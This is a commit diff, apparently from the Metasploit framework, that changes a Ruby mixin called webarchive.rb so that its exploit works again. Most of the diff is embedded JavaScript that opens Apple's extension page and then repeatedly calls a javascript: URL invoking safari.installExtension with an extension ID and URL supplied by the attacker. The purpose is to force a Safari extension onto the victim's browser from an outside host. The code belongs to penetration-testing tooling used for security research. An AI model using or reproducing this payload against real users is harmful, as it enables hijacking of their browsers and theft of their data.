Skip to content

Commit c305348

Browse files
committed
Fix the mixin to work in the exploit again.
1 parent 8b6fba4 commit c305348

File tree

1 file changed

+12
-8
lines changed

1 file changed

+12
-8
lines changed

lib/msf/core/format/webarchive.rb

Lines changed: 12 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -125,15 +125,19 @@ def install_extension
125125
var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}');
126126
var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}');
127127
128-
window.onclick = function(){
129-
x = window.open('#{apple_extension_url}', 'x');
130-
131-
function go(){
132-
window.focus();
133-
window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x')
134-
}
128+
function go(){
129+
window.focus();
130+
window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x')
131+
}
132+
if (!window.x){
133+
alert(1);
134+
window.onclick = function(){
135+
x = window.open('#{apple_extension_url}', 'x');
136+
setInterval(go, 400);
137+
};
138+
} else {
135139
setInterval(go, 400);
136-
};
140+
}
137141
138142
|
139143
end

0 commit comments

Comments
 (0)